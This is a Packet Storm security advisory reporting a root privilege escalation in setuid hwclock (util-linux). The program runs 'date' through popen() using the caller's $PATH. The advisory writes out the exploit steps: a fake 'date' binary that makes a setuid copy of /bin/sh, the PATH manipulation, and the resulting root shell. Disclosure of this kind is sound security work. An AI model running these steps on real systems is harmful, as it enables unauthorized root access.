hwclock Privilege Escalation

Type packetstorm
Reporter Federico Bento
Modified 2015-05-27T00:00:00


During a recent assessment I have stumbled across a system which had  
hwclock(8) setuid root  
hwclock is a part of util-linux, all versions affected  
$ man hwclock | sed -n '223,231p'  
Users access and setuid  
Sometimes, you need to install hwclock setuid root. If you  
want users other than the superuser to be able to display the clock  
value using the direct ISA I/O  
method, install it setuid root. If you have the /dev/rtc  
interface on your system or are on a non-ISA system, there's probably  
no need for users to use the  
direct ISA I/O method, so don't bother.  
In any case, hwclock will not allow you to set anything unless  
you have the superuser real uid. (This is restriction is not  
necessary if you haven't  
installed setuid root, but it's there for now).  
"The program is designed to run setuid superuser, since we need to be able  
to do direct I/O. (More to the point: we need permission to execute the  
iopl() system call). (However, if you use one of the methods other than  
direct ISA I/O to access the clock, no setuid is required)."  
"program is designed to run setuid (in some situations)"  
Some comments in code and unfortunately also man page  
advertising that setuid is no problem. That's pretty stupid promise.  
from util-linux/2.26.2-5/sys-utils/hwclock.c  
/* Quotes in date_opt would ruin the date command we construct. */  
if (strchr(date_opt, '"') != NULL) {  
("The value of the --date option is not a valid date.\n"  
"In particular, it contains quotation marks."));  
return 12;  
sprintf(date_command, "date --date=\"%s\" +seconds-into-epoch=%%s",  
date_child_fp = popen(date_command, "r");  
hwclock uses popen() to date_command which is 'date --date=\"%s\"  
Exploiting is trivial, since $PATH is user-controlled  
$ ls -l /usr/sbin/hwclock  
-rwsr-sr-x. 1 root root 48096 Nov 27 14:10 /usr/sbin/hwclock  
$ cat > date.c;gcc date.c -o date  
chown("/tmp/sploit", 0, 0);  
chmod("/tmp/sploit", 04755);  
$ cp /bin/sh /tmp/sploit  
$ PATH=".:$PATH" /usr/sbin/hwclock --set --date="05/23/2015 20:35:37"  
hwclock: The date command issued by hwclock returned unexpected results.  
The command was:  
date --date="05/23/2015 20:35:37" +seconds-into-epoch=%s  
The response was:  
hwclock: No usable set-to time. Cannot set clock.  
$ /tmp/sploit  
# id  
euid=0(root) groups=0(root)  
*Insert CVE Request here*  
Please note that this is possible on Debian-derived (and therefore Ubuntu),  
because /bin/sh is provided by dash which does NOT make use  
of privmode (does not drop privileges if ruid != euid, unlike bash),  
which is a very stupid idea.  
privmode is surprisingly effective at mitigating some common vulnerability  
classes and misconfigurations, and it has been around since mid 90's.  
Indeed, Chet Ramey (bash author and maintainer) explains that the  
purpose of this is to prevent "bogus system(3)/popen(3) calls in  
setuid executables"  
TL;DR: When setuid root, hwclock relies on $PATH to popen() the date  
command, meaning privilege escalation can occur since $PATH is  
Patches are available, signed off by Karel Zak <kzak@redhat.com>  
Initial bug report:  
Federico Bento.  
This message was sent using IMP, the Internet Messaging Program.